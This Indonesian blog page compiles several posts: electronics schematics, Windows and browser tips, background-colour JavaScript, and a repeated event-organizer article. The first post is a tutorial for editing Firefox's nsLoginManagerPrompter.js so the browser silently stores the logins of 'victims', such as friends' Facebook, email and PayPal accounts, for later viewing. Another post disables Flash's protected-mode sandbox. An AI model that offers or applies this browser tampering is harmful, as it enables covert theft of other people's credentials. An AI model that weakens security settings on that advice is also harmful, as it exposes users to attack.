Pengetahuan, Media belajar, Tips dan Triks

Cara membuat firefox menyimpan password secara otomatis

Berikut ini saya akan menjelaskan cara agar mozilla firefox anda menyimpan password facebook, email, paypal, dll dari korban secara otomatis.

Sebelumnya saya pernah posting tentang cara mengetahui password yang tersimpan di browser firefox. Saya harap anda membcanya dulu agar lebih memahami tentang apa yang akan kita lakukan.

Baiklah, jika sudah membacanya mari kita lanjutkan. Setiap kita log in menggunakan browser firefox, biasanya akan muncul pesan berikut :



Benarkan? Nah, jika kita mengklik remember, maka password tersebut akan tersimpan dan dapat dengan mudah dilihat dengan membuka menu Tools - Option - Security - Saved Password - Show Saved Password bener kan?

Pastinya muncul pertanyaan di benak anda, seandainya saya bisa melakukan autosave password tanpa perlu mengklik tombol remember itu, dan ternyata bisa. yah.. selamat kita bisa melakukannya dan setiap orang yang login pada firefox yang telah kita atur settingannya akan tersimpan passwordnya dan tentu saja kita bisa dengan mudah mengetahuinya.

Teknik ini sangat berguna jika target kita adalah orang yang kita kenal. Oke, pasti sudah tidak sabar dong. Ini dia caranya.

  1. Tutup firefox terlebih dahulu
  2. Browse C:\Program Files\Mozilla Firefox\components\ dan temukan script bernama nsLoginManagerPrompter.js
  3. Klik kanan > Edit with Notepad ++ (kalau belum punya, download dulu notepad++nya)
  4. Ganti baris ke 642 sampai 711 dengan kode berikut :
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);


Sehingga tampak seperti gambar berikut.
 
 
 
Selesai.
Maka setiap kali anda / teman anda login di komputer yang telah anda hack firefoxnya, maka passwordnya akan tersimpan seketika. Ingat, jangan disalahgunakan yah....

Nb : letak kode sintax untuk tiap versi firefox berbeda. oleh karena itu cukup perhatikan gambar diatas, apa yang yang harus ada, dan apa yang tidak ada.
Tips : letakkan diatas _removeLoginNotifications.

sumber

Cara mengatasi script yang unresponsive pada browser

Sempat bingung dan frustasi ketika membuka browser tiba-tiba lemot, loading lama, ditunggu sampe beberapa menit dan akhirnya muncul seperti berikut.


Setelah browsing kesana kemari. Akhirnya ketemu beberapa artikel yang membahas tentang masalah ini. Ternyata masalahnya ada dibagian flash, solusinya masuk ke folder flash yang ada di C:\Windows\System32\Macromed\Flash. Kemudian buka file mms.cfg dengan cara klik kanan pilih Open with notepad
Setelah file tadi terbuka tambahkan ProtectedMode=0  dibaris paling bawah setelah itu kita simpan / save.
 
Nah, sekarang coba browsernya direstart, maka browser akan lancar kembali tanpa ada pesan warning : unresponsive script.
 
 

Lampu TL (Neon) Tanpa Travo Balas



Bahan :
C1,C2 2.2nf 1kv
C3,C4 47n 250v
D1~D4 1n4007
Neon jari 7w
TL 10W

Test 1 (Neon jari 7W)
Nyala terang, stlah 4 jam nyala neon mulai berkedip, tidak ada komponen yg panas atau terbakar.
Test 2 (TL 10W)
Nyala cukup terang, sudah 5 jam nyala msh normal (Tidak berkedip), tidak ada komponen yg panas atau terbakar.
Melanjutkan test, dinyalakan selama 12 jam.
 
Nb :
Nilai komponen yg sy pakai tdk sama dgn skema (cabutan dari psu komputer)

Skema Bell Cerdas Cermat 3 - 6 Regu

Skema Bell Cerdas Cermat 3 Regu


Skema Bell Cerdas Cermat 4 Regu


Skema Bell Cerdas Cermat 5 Regu


Skema Bell Cerdas Cermat 6 Regu

Sumber: link

Rangkaian Remote Control Universal IC NE555

Rangkaian remote control universal IC NE555 ini dapat digunakan untuk mengendalikan peralatan listrik rumah tangga menggunakan remote control infra merah. Peralatan listrik yang dapat dikendalikan menggunakan rangkaian remote control universal IC NE555 ini antara lain : lampu, kipas angin, mesin air, blower dan sebagainya. Rangkaian remote control universal ini dibuat dengan tujuan untuk memudahkan proses menghidupkan atau mematikan peralatan tersebut sekaligus untuk mengganti penggunaan saklar konvensional. Remote control yang dapat direspon oleh rangkaian controller ini adalah semua remote control infra merah dengan range frekuensi di kisaran 25 – 60 KHz sesuai dengan receiver infra merah yang digunakan. Pada umumnya semua remote control TV, VCD player maupun remote infra merah yang lain dapat digunakan untuk mengendalikan modul control ini. Untuk membuat rangkaian remote control unicersal IC NE555 ini cukup sederhana dan mudah dibuat dengan komponen yang mudah diperoleh dipasaran. Gambar rangkaian dan komponen yang digunakan untuk membuat rangkaian remote control universal IC NE555 dapat dilihat pada gambar berikut.





Dari gambar rangkaian diatas terlihat bahwarangkaian remote control universal IC NE555 diatascukup sederhana. Rangkaian remote control universal tersebut dioperasikanmenggunakan sumber tegangan DC +5 volt hingga +12 volt sehingga dapat dioperasikan dengan 1 buah baterai 9 volt. Dengan interface relay makarangkaian remote control universal ini dapat mengendalikan peralatan yang dioperasikan dengan tegangan AC maupun DC. Untuk membuat rangakaian remote control universal IC NE555 dari gambar rangkaian diatas dapat menggunakan layout PCB seperti pada gambar dibawah.



Rangkaian Remote Control Universal IC NE555




Pada prinsipnya rangkaian remote control universal diatas adalah memanfaatkan cahaya infra merah dari suatu remote control dan diterima oleh receiver infra merah kemudian diolah oleh IC NE555 untuk membangkitkan sebuah pulsa sebagai input IC JK Flip-Flop 74109 yang diset dalam kondisi togle. Pemberian pulsa dari remote control yang pertama akan berfungsi untuk menghidupkan peralatan listrik dan pulsa yang kedua berfungsi untuk mematikan peraltan listrik. Kami harap para hobi elektronik dapat membuat dengan mudah, karena rangkaian remote control universal IC NE555 ini cukup sederhana.

sumber: link
Mengganti background dengan tombol pada blog atau website

Mengganti background dengan tombol pada blog atau website

Berikut kodenya:



<script language="JavaScript">
var backColor = new Array();
backColor[0] = '#000000';
backColor[1] = '#F0E68C';
backColor[2] = '#E0FFFF';
backColor[3] = '#008000';
backColor[4] = '#FF0000';
backColor[5] = '#87CEFA';
backColor[6] = '#FFDAB9';
backColor[7] = '#FFC0CB';
backColor[8] = '#E6E6FA';
backColor[9] = '#0C10F3';
backColor[10] = '#00FFFF';
backColor[11] = '#0000A0';
backColor[12] = '#800080';
backColor[13] = '#FFFF00';
backColor[14] = '#00FF00';  
backColor[15] = '#FF00FF';
backColor[16] = '#FFFFFF';
backColor[17] = '#C0C0C0';
backColor[18] = '#FFA500';
backColor[19] = '#800000';

function changeBG(whichColor){
document.body.style.background = backColor[whichColor];
}
</script>

<style>
.tomblf {
    display: inline-block;
    zoom: 1;
    vertical-align: baseline;
    margin: 0 1px;
    outline: none;
    cursor: pointer;
    /* text-align: center;*/
    text-decoration: none;
    font: 12px/100% Arial, Helvetica, sans-serif;
    padding: .6em .6em .6em;
    text-shadow: 0 1px 1px rgba(0,0,0,.3);
    -webkit-border-radius: .5em;
    -moz-border-radius: .5em;
    border-radius: .5em;
    -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);
    -moz-box-shadow: 1px 1px 4px #AAAAAA;
    box-shadow: 0 1px 2px rgba(0,0,0,.2);
}
.tomblf:hover {
   text-decoration: none;
}
.tomblf:active {
    position: relative;
    top: 1px;
}
.reds {
color: #000;
border: solid 1px #000;
background: #000;
}
.kuning {
color: #F0E68C;
border: solid 1px #F0E68C;
background: #F0E68C;
}
.birumuda {
color: #E0FFFF;
border: solid 1px #E0FFFF;
background: #E0FFFF;
}
.hijau {
color: #008000;
border: solid 1px #008000;
background: #008000;
}
.merah {
color: #FF0000;
border: solid 1px #FF0000;
background: #FF0000;
}
.warna5 {
color: #87CEFA;
border: solid 1px #87CEFA;
background: #87CEFA;
}
.warna6 {
color: #FFDAB9;
border: solid 1px #FFDAB9;
background: #FFDAB9;
}
.warna7 {
color: #FFC0CB;
border: solid 1px #FFC0CB;
background: #FFC0CB;
}
.warna8 {
color: #E6E6FA;
border: solid 1px #E6E6FA;
background: #E6E6FA;
}
.warna9 {
color: #0C10F3;
border: solid 1px #0C10F3;
background: #0C10F3;
}
.warna10 {
color: #00FFFF;
border: solid 1px #00FFFF;
background: #00FFFF;
}
.warna11 {
color: #0000A0;
border: solid 1px #0000A0;
background: #0000A0;
}
.warna12 {
color: #800080;
border: solid 1px #800080;
background: #800080;
}
.warna13 {
color: #FFFF00;
border: solid 1px #FFFF00;
background: #FFFF00;
}
.warna14 {
color: #00FF00;
border: solid 1px #00FF00;
background: #00FF00;
}
.warna15 {
color: #FF00FF;
border: solid 1px #FF00FF;
background: #FF00FF;
}
.warna16 {
color: #FFFFFF;
border: solid 1px #FFFFFF;
background: #FFFFFF;
}
.warna17 {
color: #C0C0C0;
border: solid 1px #C0C0C0;
background: #C0C0C0;
}
.warna18 {
color: #FFA500;
border: solid 1px #FFA500;
background: #FFA500;
}
.warna19 {
color: #800000;
border: solid 1px #800000;
background: #800000;
}
.warna20 {
/* color: #254117;*/
border: solid 1px #254117;
background: #254117;
margin-left:20px;
padding: .3em .2em .1em;
    text-shadow: 0 1px 1px rgba(0,0,0,.3);
    -webkit-border-radius: .5em;
    -moz-border-radius: .5em;
    border-radius: .5em;
    -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);
    -moz-box-shadow: 1px 1px 4px #AAAAAA;
    box-shadow: 0 1px 2px rgba(0,0,0,.2);
    width: 450px;
}

</style>


<div class="warna20">
<a class="tomblf reds" onclick="javascript:changeBG(0)"></a>
<a class="tomblf kuning" onclick="javascript:changeBG(1)"></a>
<a class="tomblf birumuda" onclick="javascript:changeBG(2)"></a>
<a class="tomblf hijau" onclick="javascript:changeBG(3)"></a>
<a class="tomblf merah" onclick="javascript:changeBG(4)"></a>
<a class="tomblf warna5" onclick="javascript:changeBG(5)"></a>
<a class="tomblf warna6" onclick="javascript:changeBG(6)"></a>
<a class="tomblf warna7" onclick="javascript:changeBG(7)"></a>
<a class="tomblf warna8" onclick="javascript:changeBG(8)"></a>
<a class="tomblf warna9" onclick="javascript:changeBG(9)"></a>
<a class="tomblf warna10" onclick="javascript:changeBG(10)"></a>
<a class="tomblf warna11" onclick="javascript:changeBG(11)"></a>
<a class="tomblf warna12" onclick="javascript:changeBG(12)"></a>
<a class="tomblf warna13" onclick="javascript:changeBG(13)"></a>
<a class="tomblf warna14" onclick="javascript:changeBG(14)"></a>
<a class="tomblf warna15" onclick="javascript:changeBG(15)"></a>
<a class="tomblf warna16" onclick="javascript:changeBG(16)"></a>
<a class="tomblf warna17" onclick="javascript:changeBG(17)"></a>
<a class="tomblf warna18" onclick="javascript:changeBG(18)"></a>
<a class="tomblf warna19" onclick="javascript:changeBG(19)"></a>
</div>

untuk melihat hasilnya klik www.madurafm.com

Pemancar FM menggunakan Tuner

Pemancar FM ini menggunakan tuner FM sebagai osilatornya, cara pemasangannya untuk input audio dimasukkan lewat AFC dan output osilator dari OSC menuju ke penguat RF (RF power) di L4. Untuk pengaturan frekuensi di adjust lewat trimmer condensator yang ada di tuner blok tersebut agar frekuensinya berada pada frekuensi 88 MHz-108 MHz.
Daya output dari pemancar FM ini bisa sampai 10 W, tetentunya juga harus diperhatikan antenanya yang matching  dengan pemancar FM nya.
Selamat bereksperimen :)

http://mochjamil.blogspot.com/2013/02/cara-membuat-pemancar-fm-dari-bekas_7067.html

Cara membuat Pemancar FM dari bekas Tuner Blok (tunner block) (sumber 2)

Alhamdulillaah sobat, postingan kali ini Berita Terkini | Berita Terbaru akan berbagi artikelCara membuat Pemancar FM dari bekas Tuner Blok (tunner block) yg mungkin bermanfaat bagi anda.
Bagi anda penggemar elektronika pastinya anda sudah tau yg namanya Tuner block yg biasa terdapat pada penerima radio(radio receiver). Nah,Selain digunakan sebagai penerima radio Tuner blok FM ini sebenarnya juga bisa di manfaatkan untuk merakit pemancar FM yang praktis dan memiliki ketahanan yang tinggi terhadap goncangan/pergeseran frekuensi, artinya meskipun dipancarkan terus menerus tidak ada pergeseran frekuensi yang berarti, masih bisa stabil meskipun tidak dikendalikan dengan rangkaian PLL. Inilah kelebihan osilator yang terdapat pada tuner blok yg menggunakanrangkaian sistem osilator colppits.Tutorial Cara membuat Pemancar FM dari bekas Tuner Blok menitik beratkan pada tuner blok yg sudah tidak dipakai lagi. di bawah ini adalah skema rangkaian osilator yang terdapat di dalam tunner blog FM.

Osilator yang terdapat pada tuner FM blok

Pin Out tuner FM blok
  




 



Dengan penambahan rangkaian yang minimalis dapat dihasilkan sebuah racangan pemancar yang praktis tetapi berdaya cukup besar, menurut data 2SC2538 bisa keluar maksimum 0,5 Watt. rangkaian ini Jika digunakan untuk mendorong(driver) 2SC1971 atau 2SC2539 sudah mampu menghasilkan keluaran daya yang maksimal.

Rangkaian penguat tiga tingkat untuk tuner FM blok


Daftar Komponen

C1, C7 = 223
 
C2,C3 = 20pF
C6 = 25pF
C4,C5,C8,C9 = 102
C10 = 33pF
C11 = 10uF 
C12 = 100uF
R1,R4 = 22k
R2,R5 = 10
R3,R7 = 47
R6 = 33
R8 = 1k
R9 = 10
Q1,Q2 = FCS9018
Q3 = 2SC2538, 2SC2053
D1 = 1N4148
L1,L2,L3,L4 = 5T
IC1 = 7809
   Untuk merubah frekuensi kerja tinggal putar tuner blok sesuka kehendak kita. Dengan kestabilan osilator yang dimiliki oleh tuner blok tersebut, wah asyik juga kalau digunakan untuk broadcasting. Akhirnya pun dikuatkan lagi dayanya sampai 60 watt, waktu itu saya gunakan transistor 2SC 2539 dan 2SC 2630. ditambah pula dengan Enkoder maka jadilah pemancar yang stereo.
Itu saja sob semoga  
Cara membuat Pemancar FM dari bekas Tuner Blok (tunner block) ini bermanfaat bagi anda 

 

OSILATOR MENGGUNAKAN TUNER FM (sumber 1)


  1. skema di atas osilator menggunakan kepala tuner/varco tuner fm-barang seperti ini pasti banyak di jual di toko-toko elektronik kan?...apabila anda yg hobbi broadcat/ itu2 ngebrik he2...bisa gunakan osc ini saja,yg harganya relatif murah dan pergeseran frequensi hampir tidak terlihat,-+500khz atau 100mhz menjadi 100.05 mhz .osc ini sangat baik di antara osc analog/manual lainya,perpindahan frequensinya juga sangat mudah tinggal putar-puter he2.... kalau rekan2 mau mencoba cari farco/kepala tuner fm cari yg berwarna kuning,pergeseran frequensi hampir tidak ada.parbedaan dgn putih,bila putih spul osc menggunakan jenis logam,dan bila yg berwarna kuning menggunakan tembaga(email). bila penesaran d bedah saja ha2...

  1. keunggulan dari osc di atas
1-frequensi tidak mudah bergeser.
2-input audio bagus.
3-tidak menimbulkan splet/frequensi liar.

4-mudah di gunakan.
5-bisa digunakan sbagai link fm.


3.apabila mencari varco/tuner sperti diatas cari yg ada tr penguat nya/jumlah tr dlm tuner ada 4. klu yg terbaru transistornya sperti chip (nempel gitu pd pcb) cara penggunaan= pasang semua yg perlu di pasang.untuk mencoba keluar atau tidak nya signal osc, untuk uji coba jangan hubungkan dulu pada driver, tepatkan frekuensi di 87.5 putar -putaran tuner mentok ke bawah,kemudian putar trimer pada tuner(ada lubange bos) sampai ada frequensi yg muncul (selem) he2... untuk penambahan capasitor 5 pf dulu,bila belum ympek 87.5 d tmbah 7 pf.kemudian pasang ke driver tx sperti gmbr d blog ini.

4.osc ini juga bisa lepas frequensi yg anda inginkan tinggal putar2 pada trimer kecil di dalam tuner. juga bisa di gunakan untuk link fm. bila ingin out stereo tinggal tmbah mpx aja bos.
'''Kurang jelas coment ya bos''

http://elektronikskema.blogspot.com/2010/06/driverbuffer-transmiter-fm.html

Skema Pengusir Tikus

Diambil dari berbagai sumber:

1. Rangkaian Model 1


 2. Rangkaian Model 2



3. Rangkaian Model 3

Rangkaian ini lebih canggi dari sebelumnya, Rangkaian ini bisa berubah-ubah frekuensinya sehingga tidak hanya dapat mengusir tikus, tapi bisa juga untuk mengusir nyamuk dan kecoa.
 
ini bekerja dengan mengeluarkan suara yang telah kita ketahui bisa mengganggu pendengaran mereka, sehingga akan menjauhi jangkauan suara pengusir ini.

Frekuensi yang dihasilkan rata-rata 30-50 KHz, sayangnya banyak juga rangkaian yang tidak benar bekerja mengusir hama (tikus).

Bukan karena tidak berfungsi tetapi karena adanya perbedaan beberapa jenis hama tikus dengan merasakan suara ultrasonik itu sendiri termasuk nyamuk tentunya.

Seperti yang kita ketahui sendiri ada beberapa jenis tikus, sebut saja tikus ruma, tikus got, tikus sawah dan tikus wirok. Ini juga yang menyababkan beberapa pengusir tikus sama sekali tidak berpengaruh terhadap tikus. Pada beberapa hama ditemukan frekuensi 35 KHz supaya bisa mengganggu pendengaran mereka sedangkan pada hama yang lain ditemukan 50KHz, dan jelas tidak efisien jika tidak membuat beberapa rangkaian dengan frekuensi yang berbeda. Adapun rangkaian pengusir tikus dengan VR untuk mengatur frekuensi keluaran, akan sering diatur secara manual oleh kita sendiri sehingga menghasilkan efek yang maksimal.

Setelah mencari beberapa rangkaian pengusir tikus, ane menemukan satu rangkaian yang bisa memecahkan masalah tersebut. Kelebihan rangkaian tersebut adalah secara otomatis dan terus menerus akan merubah frekuensi keluaran dengan rentang antara 30-50 KHz dengan timing yang sudah ditentukan. berikut ini adalah rangkaiannnya :

 


IC CA3130 disini berfungsi sebagai oscilator gelombang frekuensi berbentuk persegi yang diumpankan ke inpit clock IC CD4047 yang merupakan IC pencacah dekade yang banyak digunakan. Disinilah timing itu dilakukan. VR1 digunakan untuk merubah pulsaclock. sedangkan IC 3 adalah sebagai multivibrator astabil yang beroprasi pada frekuensi hampir 80 KHz yang kemudian keluarannya diperkuat oleh transistor BD 139 - BD 140 supaya bisamenjangkau area yang luas.

untuk bisa memastikan alat ini tidak error harus digunakan osiloskop untuk melihat frekuensinya cacat atau tidak.
 
sumber: http://elektronika-asyik.blogspot.com/2012/05/rangkaian-pengusir-tikus-nyamuk-dan.html




Cara mebuat rangkaian lampu LED mengunakan 1 baterai 1.5 Volt (rangkaian joule thief)

Siapkan bahan-bahannya sebagai berikut:
1. Resistor 1K
2. LED (super bright)
3. Transistor NPN (untuk jenisnya bisa apa aja misal 2N3904
4. Ferrid bundar ( buka lampu hemat energi yang sudah rusak, lihat didalamnya ada ferid berbentuk lingkaran, ambil juga kabel yang melingkarinya).
5. Kabel secukupnya atau bisa menggunakan project board
 

 

 Cara membuat kumparan:







Sumber: http://etekno.blogspot.com/2013/01/membuat-pencuri-energi-thief-joule.html
"Access is Denied" Ketika membuka Folder pada Hard disk slave

"Access is Denied" Ketika membuka Folder pada Hard disk slave

Sering kali saat windows terkena virus jalan terakhirnya adalah dengan di format dan di install ulang. Namun sebelum itu biasanya saya harus membackup dan menyelamatkan semua data yang ada di komputer tersebut. awalnya sih tak ada masalah saat harus membuka data yang berada di drive D, E, atau bahkan yang berada di drive C sekalipun.


Tapi saat harus masuk ke folder User Document, misalnya "C:\Documents and Settings\USER\", selalu muncul pesan error "Access is Denied" yang artinya folder tersebut tidak bisa kita masuki, karena windows menganggap dokumen itu bukan milik kita. Saya sempat kalang kabut, bagai mana cara backup data yang berada di folder tersebut, padahal begitu banyak data penting tersipan di situ.

Akhirnya setelah googling beberapa saat, saya dapat jawabannya. Ternyata cukup simple, langkah-langkahnya adalah sebagai berikut:


  • Klik Start kemudian Klik pada My Computer.
  • Klik menu Tools dan pilih Folder Options.
  • klik Tab View.
  • Pada Kotak Advance Setting, Scroll ke paling bawah dan hilangkan centang pada "Use Simple file sharing (Recommended)", lalu klik OK.
  • Klik kanan pada folder yang tadi tidak bisa dibuka, kemudian pilih Properties.
  • Klik Tab Security, dan jika muncul pertanyaan keamanan klik OK.
  • Klik Advanced, lalu pilih tab Owner.
  • Pada kotak change owner, klik nama pengguna anda. Jika anda masuk menggunakan user Administrator pilih Administrator.
  • beri tanda centang pada Replace owner on subcontainers and objects.
  • lalu Klik OK.

Dan akhirnya folder yang tadinya terkunci jadi bisa dibuka.
Windows 7 Ultimate tidak bisa ganti Wallpaper/Background

Windows 7 Ultimate tidak bisa ganti Wallpaper/Background

Tanggal 26 Januari 2014 saya kedatangan teman dari Surabaya, ngobrol2 soal komputer dan segala macem,, hehehe...
Setelah saya coba buka2 laptop temen saya. eh ternyata ada yang aneh.... wallpaper laptopnya gak bisa diganti,, heuheu... padahal sudah diganti seperti yg pernah saya lakukan di Personalize,, ehh.. tetap gk ada hasil... langsung saja saya masuk ke folder gambarnya.. saya klik kanan salah satu file gambar dan pilih "Set as desktop background" ternyata gk ada hasil juga.. :D
Akhirnya saya ingat Om Google,, karena saya yakin Om yang baik hati ini akan memberikan jawabannya...
Tak lama akhirnya saya menemukan jawaban yang sangat tepat,, ternyata akar permasalahannya ada dibagian....

C:\User\Nama komputer kamu\AppData\Roaming\Microsoft\Windows\Themes\
Hapus file TranscodedWallpaper.jpg
Udah gitu aja.. hehe...
Event Organizer ( EO )

Event Organizer ( EO )

Event organizer adalah istilah untuk penyedia jasa profesional penyelenggara acara. Meski bisa dialih bahasakan, namun umumnya istilah aslinya tetap dipergunakan. Atau untuk mudahnya disebut EO.
Pada dasarnya, tugas dari EO. adalah membantu kliennya (client) untuk dapat menyelenggarakan acara yang diinginkan. Bisa jadi hal ini karena keterbatasan sumber daya atau waktu yang dimiliki klien, namun penggunaan jasa EO. juga dimungkinkan dengan alasan agar penyelenggaraannya profesional sehingga hasilnya lebih bagus daripada bila dikerjakan sendiri.

Jenis-jenis EO:

Dilihat dari jenis acara yang diadakan, E.O. dapat dikategorikan menjadi:

* One Stop Service Agency: E.O. besar yang mampu menyelenggarakan berbagai jenis acara hingga skala internasional sekalipun.
* MICE : Kependekan dari Meeting, Incentive, Convention, Exhibition). E.O. yang khusus bergerak di bidang penyelenggaraan acara berbentuk pertemuan.
* Musik dan Hiburan: E.O. yang memiliki spesialisasi di bidang hiburan terutama musik.
* Penyelenggara Pernikahan: E.O. yang mengkhususkan diri membantu klien mengadakan pesta pernikahan.
* Penyelenggara Ulang Tahun: E.O. yang ahli membuat pesta ulang tahun termasuk untuk anak-anak.
* Penyelenggara Pribadi: E.O. khusus yang bergerak untuk penyelenggaraan pesta pribadi terutama bagi orang kaya.

From Wikipedia

Struktur Organisasi Sebuah Event Organizer

Event Organizer (EO) merupakan organisasi yang didalamnya terdapat sekumpulan orang yang memiliki fungsi menyelenggarakan dan melaksanakan sebuah acara dengan fungsi dan peran masing – masing dari perencanaan hingga acara berakhir.

Di dalam meraih kelancaran dan kesuksesan sebuah acara yang ditangani, EO harus memiliki orang – orang yang mampu menjalankan fungsi dalam bagian – bagian kerja sebuah organisasi tersebut.

Ketika berbicara EO sebagai sebuah perusahaan, maka susunan organisasi perusahaan tidaklah berbeda dengan institusi bisnis lainnya seperti terdiri dari Direktur, Manager – Manager yang membawahi masing – masing divisi seperti, marketing, administrasi, keuangan, operasional, produksi dan lain sebagainya. Namun ketika berbicara EO dalam sebuah project penyelenngara event, maka struktur organisasi akan menyesuaikan dengan kebutuhan project tersebut.

Antara satu event dengan event lainnya akan memiliki struktur organisasi yang berbeda. event Exhibition yang diselenggarakan di sebuah Mall atau Hotel berbintang akan memiliki tim yang berbeda dengan event Exhibition yang digelar di Lapangan. Demikian pula dengan sebuah Konser Musik. Perbedaan ini diadasari pada beberapa hal berikut :

1. Kebutuhan tim dalam menjalankan fungsi kerja
2. Efektifitas dan Efisiensi kerja
3. Besar kecilnya event

Sebagai usaha yang berorientasi pada keuntungan, EO akan menghitung jumlah personil dalam tim secara cermat dan teliti. Tidak ada jaminan kesuksesan sebuah event yang terdiri dari banyak orang.

Beberapa contoh fungsi yang biasanya ada dalam sebuah project event diantaranya:

Project Officer / Event Manager

Adalah pemimpin proyek. Bertanggungjawab terhadap kelancaran dan kesuksesan event. Mulai dari perencanaan hingga event selesai. Fungsi ini biasanya lebih mengurusi masalah – masalah administratif dan persiapan – persiapan kelengkapan, tentunya harus diambil orang yang memang sudah berpengalaman atau memang sudah diandalkan menangani berbagai event. Dalam kerjanya Project Officer ini bisa memiliki beberapa anak buah yang akan membantu menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan, dan sebagainya yang biasa disebut Field Officer.

Field Officer

Adalah fungsi yang menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan dan sebagainya. Dengan kata lain fungsi ini adalah yang menjalankan fungsi operasional.

Tallent Officer

Menangani pekerjaan yang berhubungan dengan talents/artis/pengisi acara, mulai dari negosiasi waktu, honor, membuat MOU sampai pada kebutuhan artis saat pentas, transportasi, konsumsi, akomodasi dan lain – lainnya

Show Director

Show Director adalah yang bertanggungjawab terhadap kualitas sajian acara, baik dari segi artistik maupun kenyamanan audiens. Biasanya Show Director akan memiliki tim yang terdiri dari Art Director, Stage Manager, Sound Engineer, Lightingman, Security & Runner

Art Director

Bertanggungjawab terhadap permasalahan artistik, seperti tampilan panggung, dekorasi, dan efek – efek lainnya yang berhubungan dengan estetika.

Stage Manager

Bertanggungjawab terhadap kelancaran acara. Stage Manager akan mengatur kemunculan talents sesuai rundown dan mengendalikan waktu tampil.

Sound Engineer/Soundman

Bertanggungjawab terhadap kontrol kualitas sound system.

Lightingman

Bertanggungjawab terhadap kontrol kualitas lighting.

Security

Adalah personil dari kepolisian atau mereka yang ditugaskan. Bertanggungjawab terhadap seluruh keamanan acara dari mulai lokasi, jalannya acara, dan pihak lain – lain yang terkait.

Runner

Adalah tim yang terdiri dari beberapa orang, yang bertugas serabutan, menjadi penghubung antara Show Director dengan pihak – pihak lainnya.

Client Service

Bertanggungjawab sebagai penghubung antara klien sebagai sponsor/penyandang dana kepada Show Director dan Project officer. Client Service ini akan menemani klien dari sejak klien tersebut hadir di arena event hingga pulang dengan kepuasan.

Contoh – contoh diatas adalah beberapa fungsi yang biasanya ada dalam sebuah event. Tetapi, bisa terjadi dalam sebuah event ada fungsi – fungsi diatas yang justru dihilangkan karena pekerjaan dapat di-handle oleh fungsi lainnya. Dan juga tentunya masih ada beberapa fungsi lain yang mungkin dibutuhkan dalam sebuah penyelenggaraan event, diantaranya seperti :

Officer Lomba yang bertugas menangani jalannya perlombaan

* Liaison Officer yang bertugas mendampingi tamu/artis
* Crew Multimedia yang bertugas melakukan kontrol kualitas sajian media
* Tim Dokumentasi, PR, Usher, dll

Sangat menarik sekali struktur organisasi sebuah penyelenggaraan event, saya pun sedang mendalaminya :D 

sumber: yog-a

Event organizer adalah istilah untuk penyedia jasa profesional penyelenggara acara. Meski bisa dialih bahasakan, namun umumnya istilah aslinya tetap dipergunakan. Atau untuk mudahnya disebut EO.
Pada dasarnya, tugas dari EO. adalah
membantu kliennya (client) untuk dapat menyelenggarakan acara yang diinginkan. Bisa jadi hal ini karena keterbatasan sumber daya atau waktu yang dimiliki klien, namun penggunaan jasa EO. juga dimungkinkan dengan alasan agar penyelenggaraannya profesional sehingga hasilnya lebih bagus daripada bila dikerjakan sendiri.

Jenis-jenis EO:

Dilihat dari jenis acara yang diadakan, E.O. dapat dikategorikan menjadi:

* One Stop Service Agency: E.O. besar yang mampu menyelenggarakan berbagai jenis acara hingga skala internasional sekalipun.
* MICE : Kependekan dari Meeting, Incentive, Convention, Exhibition). E.O. yang khusus bergerak di bidang penyelenggaraan acara berbentuk pertemuan.
* Musik dan Hiburan: E.O. yang memiliki spesialisasi di bidang hiburan terutama musik.
* Penyelenggara Pernikahan: E.O. yang mengkhususkan diri membantu klien mengadakan pesta pernikahan.
* Penyelenggara Ulang Tahun: E.O. yang ahli membuat pesta ulang tahun termasuk untuk anak-anak.
* Penyelenggara Pribadi: E.O. khusus yang bergerak untuk penyelenggaraan pesta pribadi terutama bagi orang kaya.

From Wikipedia

Struktur Organisasi Sebuah Event Organizer

Event Organizer (EO) merupakan organisasi yang didalamnya terdapat sekumpulan orang yang memiliki fungsi menyelenggarakan dan melaksanakan sebuah acara dengan fungsi dan peran masing – masing dari perencanaan hingga acara berakhir.

Di dalam meraih kelancaran dan kesuksesan sebuah acara yang ditangani, EO harus memiliki orang – orang yang mampu menjalankan fungsi dalam bagian – bagian kerja sebuah organisasi tersebut.

Ketika berbicara EO sebagai sebuah perusahaan, maka susunan organisasi perusahaan tidaklah berbeda dengan institusi bisnis lainnya seperti terdiri dari Direktur, Manager – Manager yang membawahi masing – masing divisi seperti, marketing, administrasi, keuangan, operasional, produksi dan lain sebagainya. Namun ketika berbicara EO dalam sebuah project penyelenngara event, maka struktur organisasi akan menyesuaikan dengan kebutuhan project tersebut.

Antara satu event dengan event lainnya akan memiliki struktur organisasi yang berbeda. event Exhibition yang diselenggarakan di sebuah Mall atau Hotel berbintang akan memiliki tim yang berbeda dengan event Exhibition yang digelar di Lapangan. Demikian pula dengan sebuah Konser Musik. Perbedaan ini diadasari pada beberapa hal berikut :

1. Kebutuhan tim dalam menjalankan fungsi kerja
2. Efektifitas dan Efisiensi kerja
3. Besar kecilnya event

Sebagai usaha yang berorientasi pada keuntungan, EO akan menghitung jumlah personil dalam tim secara cermat dan teliti. Tidak ada jaminan kesuksesan sebuah event yang terdiri dari banyak orang.

Beberapa contoh fungsi yang biasanya ada dalam sebuah project event diantaranya:

Project Officer / Event Manager

Adalah pemimpin proyek. Bertanggungjawab terhadap kelancaran dan kesuksesan event. Mulai dari perencanaan hingga event selesai. Fungsi ini biasanya lebih mengurusi masalah – masalah administratif dan persiapan – persiapan kelengkapan, tentunya harus diambil orang yang memang sudah berpengalaman atau memang sudah diandalkan menangani berbagai event. Dalam kerjanya Project Officer ini bisa memiliki beberapa anak buah yang akan membantu menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan, dan sebagainya yang biasa disebut Field Officer.

Field Officer

Adalah fungsi yang menangani persiapan venue, promosi, perijinan & keamanan, konsumsi, pengadaan perlengkapan, keuangan, kesekretariatan dan sebagainya. Dengan kata lain fungsi ini adalah yang menjalankan fungsi operasional.

Tallent Officer

Menangani pekerjaan yang berhubungan dengan talents/artis/pengisi acara, mulai dari negosiasi waktu, honor, membuat MOU sampai pada kebutuhan artis saat pentas, transportasi, konsumsi, akomodasi dan lain – lainnya

Show Director

